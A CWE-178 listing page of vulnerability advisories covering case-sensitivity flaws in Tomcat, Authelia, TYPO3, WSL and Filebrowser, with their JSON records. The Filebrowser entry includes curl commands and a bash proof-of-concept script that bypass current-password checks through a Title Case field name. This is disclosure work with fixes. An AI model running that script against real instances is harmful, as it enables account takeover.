CWE-178
AllowedImproper Handling of Case Sensitivity
Abstraction: Base · Status: Incomplete
The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.
136 vulnerabilities reference this CWE, most recent first.
GHSA-H2FW-RFH5-95R3
Vulnerability from github – Published: 2025-05-29 21:31 – Updated: 2025-11-03 22:57Improper Handling of Case Sensitivity vulnerability in Apache Tomcat's GCI servlet allows security constraint bypass of security constraints that apply to the pathInfo component of a URI mapped to the CGI servlet.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.6, from 10.1.0-M1 through 10.1.40, from 9.0.0.M1 through 9.0.104. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected.
Users are recommended to upgrade to version 11.0.7, 10.1.41 or 9.0.105, which fixes the issue.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0.M1"
},
{
"fixed": "9.0.105"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.41"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0.M1"
},
{
"fixed": "9.0.105"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.41"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat-catalina"
},
"ranges": [
{
"events": [
{
"introduced": "8.5.0"
},
{
"last_affected": "8.5.100"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat.embed:tomcat-embed-core"
},
"ranges": [
{
"events": [
{
"introduced": "8.5.0"
},
{
"last_affected": "8.5.100"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-46701"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-29T22:37:21Z",
"nvd_published_at": "2025-05-29T19:15:27Z",
"severity": "LOW"
},
"details": "Improper Handling of Case Sensitivity vulnerability in Apache Tomcat\u0027s GCI servlet allows security constraint bypass of security constraints that apply to the pathInfo component of a URI mapped to the CGI servlet.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.6, from 10.1.0-M1 through 10.1.40, from 9.0.0.M1 through 9.0.104. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions may also be affected.\n\nUsers are recommended to upgrade to version 11.0.7, 10.1.41 or 9.0.105, which fixes the issue.",
"id": "GHSA-h2fw-rfh5-95r3",
"modified": "2025-11-03T22:57:59Z",
"published": "2025-05-29T21:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46701"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/0f01966eb60015d975525019e12a087f05ebf01a"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/238d2aa54b99f91d1111467e2237d2244c64e558"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/2c6800111e7d8d8d5403c07978ea9bff3db5a5a5"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/8cb95ff03221067c511b3fa66d4f745bc4b0a605"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/8df00018a252baa9497615d6420fb6c10466fa74"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/fab7247d2f0e3a29d5daef565f829f383e10e5e2"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/tomcat"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/xhqqk9w5q45srcdqhogdk04lhdscv30j"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/07/msg00009.html"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-10.html#Fixed_in_Apache_Tomcat_10.1.41"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-11.html#Fixed_in_Apache_Tomcat_11.0.7"
},
{
"type": "WEB",
"url": "https://tomcat.apache.org/security-9.html#Fixed_in_Apache_Tomcat_9.0.105"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/05/29/4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:U/U:Clear",
"type": "CVSS_V4"
}
],
"summary": "Apache Tomcat - CGI security constraint bypass"
}
GHSA-H873-265Q-38WJ
Vulnerability from github – Published: 2022-04-06 00:01 – Updated: 2022-04-15 00:01An issue was discovered in Softwarebuero Zauner ARC 4.2.0.4. There is Improper Handling of Case Sensitivity, which makes password guessing easier.
{
"affected": [],
"aliases": [
"CVE-2021-45893"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-05T02:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Softwarebuero Zauner ARC 4.2.0.4. There is Improper Handling of Case Sensitivity, which makes password guessing easier.",
"id": "GHSA-h873-265q-38wj",
"modified": "2022-04-15T00:01:18Z",
"published": "2022-04-06T00:01:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45893"
},
{
"type": "WEB",
"url": "https://syss.de"
},
{
"type": "WEB",
"url": "https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-065.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H89W-C652-V4R6
Vulnerability from github – Published: 2022-05-13 01:53 – Updated: 2022-05-13 01:53A security feature bypass vulnerability exists when Windows Subsystem for Linux improperly handles case sensitivity, aka "Windows Subsystem for Linux Security Feature Bypass Vulnerability." This affects Windows 10, Windows 10 Servers.
{
"affected": [],
"aliases": [
"CVE-2018-8337"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-09-13T00:29:00Z",
"severity": "MODERATE"
},
"details": "A security feature bypass vulnerability exists when Windows Subsystem for Linux improperly handles case sensitivity, aka \"Windows Subsystem for Linux Security Feature Bypass Vulnerability.\" This affects Windows 10, Windows 10 Servers.",
"id": "GHSA-h89w-c652-v4r6",
"modified": "2022-05-13T01:53:38Z",
"published": "2022-05-13T01:53:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-8337"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8337"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/105250"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-HJJ4-HFJM-FMRJ
Vulnerability from github – Published: 2026-05-29 21:21 – Updated: 2026-06-26 21:32Impact
CVSSv4 Baseline Score: Moderate 6.3
CVSSv4 Weighted Score: Low 2.9
The full CVSSv4 Vector for this vulnerability is:
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:L/IR:L/AR:L/MAV:N/MAC:H/MAT:N/MPR:N/MUI:N/MVC:L/MVI:N/MVA:N/MSC:N/MSI:N/MSA:N/S:N/AU:Y/R:U/V:D/RE:L/U:Green
CVSSv3.1 Baseline Score: Low 3.7
CVSSv3.1 Overall Score: Medium 4.0
The full CVSSv3.1 Vector equivalent for this vulnerability is:
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:P/RL:O/RC:X/CR:H/IR:L/AR:L/MAV:N/MAC:H/MPR:N/MUI:N/MS:U/MC:L/MI:N/MA:N
The weighted severity rating is a result of no indication this is currently being exploited being available at the time of the publish date, in addition to the fact it's unlikely that it is being exploited currently.
Due to lack of canonicalization of the basic auth username, the effectiveness of the brute force mechanism when using basic auth is partially degraded.
Most passwords of reasonable length are unlikely to have a meaningful effect due to the fact there is no clear feedback to an attacker that is attempting to exploit this, thus their brute force attempts are significantly more likely to miss a valid password than they are identify a valid one.
Details
When a user authenticates via Basic Auth (i.e via the Authorization header with the Basic scheme) on the authz verification endpoint, Authelia takes the username directly from the Authorization header and passes it as is to the regulation system for ban checking and attempt recording.
LDAP treats usernames case insensitively : john, John, and JOHN all bind as the same user. But the regulation SQL queries treat the lookup of these values in certain scenarios as case sensitive. This allows each variation of a usernames case to have its own ban bucket.
Notable conditions or unaffected configurations:
- The first factor login endpoint (
/api/firstfactor) is not affected - The LDAP authentication backend must be in use.
- If the underlying database is case insensitive (as it should be with the collation we use for MySQL) it is not affected
- Administrators using the recently added IP regulation mode are not affected
- Administrators using a third-party tool such as CrowdSec or fail2ban are not affected
- Administrators that have disabled basic auth are not affected
Patches
Upgrade to 4.39.20.
Commit: https://github.com/authelia/authelia/commit/b8985b57b70acdff8f204ed426ff619e763461ad
Workarounds
Explicitly disable the basic auth mechanism.
Caddy, HAProxy, and Traefik
server:
endpoints:
authz:
forward-auth:
implementation: 'ForwardAuth'
authn_strategies:
- name: 'CookieSession'
nginx
server:
endpoints:
authz:
auth-request:
implementation: 'AuthRequest'
authn_strategies:
- name: 'CookieSession'
Envoy
server:
endpoints:
authz:
ext-authz:
implementation: 'ExtAuthz'
authn_strategies:
- name: 'CookieSession'
References
N/A
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.39.19"
},
"package": {
"ecosystem": "Go",
"name": "github.com/authelia/authelia/v4"
},
"ranges": [
{
"events": [
{
"introduced": "4.38.0"
},
{
"fixed": "4.39.20"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47203"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-307"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T21:21:12Z",
"nvd_published_at": "2026-06-19T21:16:57Z",
"severity": "LOW"
},
"details": "### Impact\n\n**CVSSv4 Baseline Score:** Moderate 6.3\n\n**CVSSv4 Weighted Score:** Low 2.9\n\nThe full CVSSv4 Vector for this vulnerability is:\n\n\u003e CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:L/IR:L/AR:L/MAV:N/MAC:H/MAT:N/MPR:N/MUI:N/MVC:L/MVI:N/MVA:N/MSC:N/MSI:N/MSA:N/S:N/AU:Y/R:U/V:D/RE:L/U:Green\n\n**CVSSv3.1 Baseline Score:** Low 3.7\n\n**CVSSv3.1 Overall Score:** Medium 4.0\n\nThe full CVSSv3.1 Vector equivalent for this vulnerability is:\n\n\u003e CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:P/RL:O/RC:X/CR:H/IR:L/AR:L/MAV:N/MAC:H/MPR:N/MUI:N/MS:U/MC:L/MI:N/MA:N\n\nThe weighted severity rating is a result of no indication this is currently being exploited being available at the time of the publish date, in addition to the fact it\u0027s unlikely that it is being exploited currently.\n\nDue to lack of canonicalization of the basic auth username, the effectiveness of the brute force mechanism when using basic auth is partially degraded.\n\nMost passwords of reasonable length are unlikely to have a meaningful effect due to the fact there is no clear feedback to an attacker that is attempting to exploit this, thus their brute force attempts are significantly more likely to miss a valid password than they are identify a valid one.\n\n### Details\n\nWhen a user authenticates via Basic Auth (i.e via the `Authorization` header with the `Basic` scheme) on the authz verification endpoint, Authelia takes the username directly from the `Authorization` header and passes it as is to the regulation system for ban checking and attempt recording.\n\nLDAP treats usernames case insensitively : `john`, `John`, and `JOHN` all bind as the same user. But the regulation SQL queries treat the lookup of these values in certain scenarios as case sensitive. This allows each variation of a usernames case to have its own ban bucket.\n\nNotable conditions or unaffected configurations:\n\n1. The first factor login endpoint (`/api/firstfactor`) is **not** affected\n2. The LDAP authentication backend must be in use.\n3. If the underlying database is case insensitive (as it should be with the collation we use for MySQL) it is **not** affected\n4. Administrators using the recently added IP regulation mode are **not** affected\n5. Administrators using a third-party tool such as CrowdSec or fail2ban are **not** affected\n6. Administrators that have disabled basic auth are **not** affected\n\n### Patches\n\nUpgrade to 4.39.20.\n\nCommit: https://github.com/authelia/authelia/commit/b8985b57b70acdff8f204ed426ff619e763461ad\n\n### Workarounds\n\nExplicitly disable the basic auth mechanism.\n\n#### Caddy, HAProxy, and Traefik\n\n```yaml\nserver:\n endpoints:\n authz:\n forward-auth:\n implementation: \u0027ForwardAuth\u0027\n authn_strategies:\n - name: \u0027CookieSession\u0027\n```\n\n#### nginx\n\n```yaml\nserver:\n endpoints:\n authz:\n auth-request:\n implementation: \u0027AuthRequest\u0027\n authn_strategies:\n - name: \u0027CookieSession\u0027\n```\n\n#### Envoy\n\n```yaml\nserver:\n endpoints:\n authz:\n ext-authz:\n implementation: \u0027ExtAuthz\u0027\n authn_strategies:\n - name: \u0027CookieSession\u0027\n```\n\n### References\n\nN/A",
"id": "GHSA-hjj4-hfjm-fmrj",
"modified": "2026-06-26T21:32:40Z",
"published": "2026-05-29T21:21:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authelia/authelia/security/advisories/GHSA-hjj4-hfjm-fmrj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47203"
},
{
"type": "WEB",
"url": "https://github.com/authelia/authelia/commit/b8985b57b70acdff8f204ed426ff619e763461ad"
},
{
"type": "PACKAGE",
"url": "https://github.com/authelia/authelia"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:L/IR:L/AR:L/MAV:N/MAC:H/MAT:N/MPR:N/MUI:N/MVC:L/MVI:N/MVA:N/MSC:N/MSI:N/MSA:N/S:N/AU:Y/R:U/V:D/RE:L/U:Green",
"type": "CVSS_V4"
}
],
"summary": "Authelia Missing Username Canonicalization in Basic Auth (LDAP)"
}
GHSA-HWVQ-2W67-RVXP
Vulnerability from github – Published: 2026-06-12 19:32 – Updated: 2026-06-12 19:32Problem
Backend users with file write permissions were able to upload form definition files with mixed-case extensions (e.g., .FORM.YAML) to bypass the Form Framework's upload restriction. Maliciously crafted form definition files can be used to execute arbitrary SQL statements, allowing attackers to escalate privileges by creating administrative backend user accounts.
Solution
Update to TYPO3 versions 10.4.57 ELTS, 11.5.51 ELTS, 12.4.46 ELTS, 13.4.31 LTS, 14.3.3 LTS that fix the problem described.
Credits
TYPO3 CMS thanks Alexander Künzl for reporting this issue, and to TYPO3 core & security team members Oliver Hader and Benjamin Franzke for fixing it.
Resources
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.4.57"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-core"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.5.51"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-core"
},
"ranges": [
{
"events": [
{
"introduced": "12.0.0"
},
{
"fixed": "12.4.46"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-core"
},
"ranges": [
{
"events": [
{
"introduced": "13.0.0"
},
{
"fixed": "13.4.31"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-core"
},
"ranges": [
{
"events": [
{
"introduced": "14.0.0"
},
{
"fixed": "14.3.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-form"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.4.57"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-form"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.5.51"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-form"
},
"ranges": [
{
"events": [
{
"introduced": "12.0.0"
},
{
"fixed": "12.4.46"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-form"
},
"ranges": [
{
"events": [
{
"introduced": "13.0.0"
},
{
"fixed": "13.4.31"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-form"
},
"ranges": [
{
"events": [
{
"introduced": "14.0.0"
},
{
"fixed": "14.3.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47346"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-12T19:32:09Z",
"nvd_published_at": "2026-06-09T11:16:52Z",
"severity": "HIGH"
},
"details": "### Problem\nBackend users with file write permissions were able to upload form definition files with mixed-case extensions (e.g., `.FORM.YAML`) to bypass the Form Framework\u0027s upload restriction. Maliciously crafted form definition files can be used to execute arbitrary SQL statements, allowing attackers to escalate privileges by creating administrative backend user accounts.\n\n### Solution\nUpdate to TYPO3 versions 10.4.57 ELTS, 11.5.51 ELTS, 12.4.46 ELTS, 13.4.31 LTS, 14.3.3 LTS that fix the problem described.\n\n### Credits\nTYPO3 CMS thanks Alexander K\u00fcnzl for reporting this issue, and to TYPO3 core \u0026 security team members Oliver Hader and Benjamin Franzke for fixing it.\n\n### Resources\n* [TYPO3-CORE-SA-2026-008](https://typo3.org/security/advisory/typo3-core-sa-2026-008)",
"id": "GHSA-hwvq-2w67-rvxp",
"modified": "2026-06-12T19:32:09Z",
"published": "2026-06-12T19:32:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/TYPO3/typo3/security/advisories/GHSA-hwvq-2w67-rvxp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47346"
},
{
"type": "WEB",
"url": "https://github.com/TYPO3/typo3/commit/2030617e6f273cee7b756c695f0a48a45a31eb47"
},
{
"type": "WEB",
"url": "https://github.com/TYPO3/typo3/commit/eb2b2251d90339d3ab55df3d4c0378ae0c780b45"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/typo3/cms-core/CVE-2026-47346.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/TYPO3/typo3"
},
{
"type": "WEB",
"url": "https://typo3.org/security/advisory/typo3-core-sa-2026-008"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "TYPO3 CMS has Broken Access Control in its Form Framework"
}
GHSA-HXW8-4H9J-HQ2R
Vulnerability from github – Published: 2026-02-10 00:22 – Updated: 2026-02-10 02:56Security Advisory: Authentication Bypass in User Password Update
Summary
A case-sensitivity flaw in the password validation logic allows any authenticated user to change their password (or an admin to change any user's password) without providing the current password. By using Title Case field name "Password" instead of lowercase "password" in the API request, the current_password verification is completely bypassed. This enables account takeover if an attacker obtains a valid JWT token through XSS, session hijacking, or other means.
CVSS Score: 7.5 (High)
CWE: CWE-178 (Improper Handling of Case Sensitivity)
Details
The vulnerability exists in http/users.go in the userPutHandler function (lines 181-200).
Vulnerable Code
// http/users.go:181-200
if d.settings.AuthMethod == auth.MethodJSONAuth {
var sensibleFields = map[string]struct{}{
"all": {},
"username": {},
"password": {}, // lowercase
"scope": {},
"lockPassword": {},
"commands": {},
"perm": {},
}
for _, field := range req.Which {
if _, ok := sensibleFields[field]; ok { // Case-sensitive lookup
if !users.CheckPwd(req.CurrentPassword, d.user.Password) {
return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect
}
break
}
}
}
Root Cause
- The
sensibleFieldsmap uses lowercase keys (e.g.,"password") - The lookup
sensibleFields[field]is case-sensitive - When
req.Whichcontains"Password"(Title Case), the lookup returnsfalse - The password verification block is skipped entirely
- Later in the code (line 229), field names are converted to Title Case for processing, so
"Password"is a valid field name
Attack Flow
1. Attacker obtains victim's JWT token (via XSS, log leakage, etc.)
2. Attacker sends PUT /api/users/{id} with:
- which: ["Password"] (Title Case - bypasses validation)
- data.password: "attacker_password"
- NO current_password field required
3. Password is changed without verification
4. Victim is locked out, attacker has full access
PoC
Prerequisites
- A valid JWT token for any user account
- Target Filebrowser instance using JSON authentication (default)
Reproduction Steps
Step 1: Obtain a valid JWT token
TOKEN=$(curl -s -X POST "http://target:8080/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"victim","password":"victim_password"}')
Step 2: Attempt normal password change (should fail)
curl -s -X PUT "http://target:8080/api/users/1" \
-H "X-Auth: $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"what": "user",
"which": ["password"],
"data": {"id": 1, "password": "NewPassword123456"}
}'
# Response: 400 Bad Request (the current password is incorrect)
Step 3: Bypass with Title Case (succeeds without current_password)
curl -s -X PUT "http://target:8080/api/users/1" \
-H "X-Auth: $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"what": "user",
"which": ["Password"],
"data": {"id": 1, "password": "HackedPassword123"}
}'
# Response: 200 OK
Step 4: Verify account takeover
# Original password no longer works
curl -s -X POST "http://target:8080/api/login" \
-d '{"username":"victim","password":"victim_password"}'
# Response: 403 Forbidden
# New password works
curl -s -X POST "http://target:8080/api/login" \
-d '{"username":"victim","password":"HackedPassword123"}'
# Response: Valid JWT token
Automated PoC Script
#!/bin/bash
# Usage: ./poc.sh <target> <username> <current_password> <new_password>
TARGET="$1"
USERNAME="$2"
CURRENT_PASS="$3"
NEW_PASS="$4"
# Login
TOKEN=$(curl -s -X POST "$TARGET/api/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$USERNAME\",\"password\":\"$CURRENT_PASS\"}")
# Get user ID from token
USER_ID=$(echo "$TOKEN" | python3 -c "
import sys,json,base64
parts=input().split('.')
payload=json.loads(base64.b64decode(parts[1]+'=='))
print(payload['user']['id'])
")
# Exploit: Change password without current_password
curl -s -X PUT "$TARGET/api/users/$USER_ID" \
-H "X-Auth: $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"what\": \"user\",
\"which\": [\"Password\"],
\"data\": {\"id\": $USER_ID, \"password\": \"$NEW_PASS\"}
}"
echo "Password changed to: $NEW_PASS"
Impact
Who is Impacted
- All Filebrowser users using JSON authentication method (default configuration)
- Any user whose JWT token can be obtained by an attacker
- Particularly high-value targets: administrator accounts
Attack Scenarios
| Scenario | Impact |
|---|---|
| XSS + Token Theft | Complete account takeover |
| JWT in Server Logs | Mass account compromise |
| Shared Computer | Session hijacking |
| Malicious Browser Extension | Credential theft |
Security Impact
| Category | Severity |
|---|---|
| Confidentiality | High - Attacker gains full account access |
| Integrity | High - Attacker can modify all user data |
| Availability | High - Legitimate user locked out |
Scope
- The vulnerability affects password modification only
- Other sensitive fields (
Username,Scope,Perm, etc.) have additional protection viaNonModifiableFieldsForNonAdmincheck - However, for administrators, all fields can be modified using this bypass technique
Suggested Fix
Option 1: Case-insensitive field matching (Recommended)
// Convert field to lowercase before checking
for _, field := range req.Which {
if _, ok := sensibleFields[strings.ToLower(field)]; ok {
if !users.CheckPwd(req.CurrentPassword, d.user.Password) {
return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect
}
break
}
}
Option 2: Use Title Case in sensibleFields
var sensibleFields = map[string]struct{}{
"All": {},
"Username": {},
"Password": {}, // Title Case to match post-transformation
"Scope": {},
"LockPassword": {},
"Commands": {},
"Perm": {},
}
// Check AFTER field name transformation
for k, v := range req.Which {
v = cases.Title(language.English, cases.NoLower).String(v)
req.Which[k] = v
// Now check with Title Case
if _, ok := sensibleFields[v]; ok {
if !users.CheckPwd(req.CurrentPassword, d.user.Password) {
return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect
}
break
}
}
References
- Affected File:
http/users.go - Affected Lines: 181-200
- Related Code:
NonModifiableFieldsForNonAdmin(line 17)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.57.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.57.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25889"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-10T00:22:33Z",
"nvd_published_at": "2026-02-09T22:16:03Z",
"severity": "MODERATE"
},
"details": "# Security Advisory: Authentication Bypass in User Password Update\n\n## Summary\n\nA case-sensitivity flaw in the password validation logic allows any authenticated user to change their password (or an admin to change any user\u0027s password) **without providing the current password**. By using Title Case field name `\"Password\"` instead of lowercase `\"password\"` in the API request, the `current_password` verification is completely bypassed. This enables account takeover if an attacker obtains a valid JWT token through XSS, session hijacking, or other means.\n\n**CVSS Score**: 7.5 (High) \n**CWE**: CWE-178 (Improper Handling of Case Sensitivity)\n\n---\n\n## Details\n\nThe vulnerability exists in `http/users.go` in the `userPutHandler` function (lines 181-200).\n\n### Vulnerable Code\n\n```go\n// http/users.go:181-200\nif d.settings.AuthMethod == auth.MethodJSONAuth {\n var sensibleFields = map[string]struct{}{\n \"all\": {},\n \"username\": {},\n \"password\": {}, // lowercase\n \"scope\": {},\n \"lockPassword\": {},\n \"commands\": {},\n \"perm\": {},\n }\n\n for _, field := range req.Which {\n if _, ok := sensibleFields[field]; ok { // Case-sensitive lookup\n if !users.CheckPwd(req.CurrentPassword, d.user.Password) {\n return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect\n }\n break\n }\n }\n}\n```\n\n### Root Cause\n\n1. The `sensibleFields` map uses **lowercase** keys (e.g., `\"password\"`)\n2. The lookup `sensibleFields[field]` is **case-sensitive**\n3. When `req.Which` contains `\"Password\"` (Title Case), the lookup returns `false`\n4. The password verification block is skipped entirely\n5. Later in the code (line 229), field names are converted to Title Case for processing, so `\"Password\"` is a valid field name\n\n### Attack Flow\n\n```\n1. Attacker obtains victim\u0027s JWT token (via XSS, log leakage, etc.)\n2. Attacker sends PUT /api/users/{id} with:\n - which: [\"Password\"] (Title Case - bypasses validation)\n - data.password: \"attacker_password\"\n - NO current_password field required\n3. Password is changed without verification\n4. Victim is locked out, attacker has full access\n```\n\n---\n\n## PoC\n\n### Prerequisites\n- A valid JWT token for any user account\n- Target Filebrowser instance using JSON authentication (default)\n\n### Reproduction Steps\n\n**Step 1: Obtain a valid JWT token**\n```bash\nTOKEN=$(curl -s -X POST \"http://target:8080/api/login\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"username\":\"victim\",\"password\":\"victim_password\"}\u0027)\n```\n\n**Step 2: Attempt normal password change (should fail)**\n```bash\ncurl -s -X PUT \"http://target:8080/api/users/1\" \\\n -H \"X-Auth: $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"what\": \"user\",\n \"which\": [\"password\"],\n \"data\": {\"id\": 1, \"password\": \"NewPassword123456\"}\n }\u0027\n# Response: 400 Bad Request (the current password is incorrect)\n```\n\n**Step 3: Bypass with Title Case (succeeds without current_password)**\n```bash\ncurl -s -X PUT \"http://target:8080/api/users/1\" \\\n -H \"X-Auth: $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"what\": \"user\",\n \"which\": [\"Password\"],\n \"data\": {\"id\": 1, \"password\": \"HackedPassword123\"}\n }\u0027\n# Response: 200 OK\n```\n\n**Step 4: Verify account takeover**\n```bash\n# Original password no longer works\ncurl -s -X POST \"http://target:8080/api/login\" \\\n -d \u0027{\"username\":\"victim\",\"password\":\"victim_password\"}\u0027\n# Response: 403 Forbidden\n\n# New password works\ncurl -s -X POST \"http://target:8080/api/login\" \\\n -d \u0027{\"username\":\"victim\",\"password\":\"HackedPassword123\"}\u0027\n# Response: Valid JWT token\n```\n\n### Automated PoC Script\n\n```bash\n#!/bin/bash\n# Usage: ./poc.sh \u003ctarget\u003e \u003cusername\u003e \u003ccurrent_password\u003e 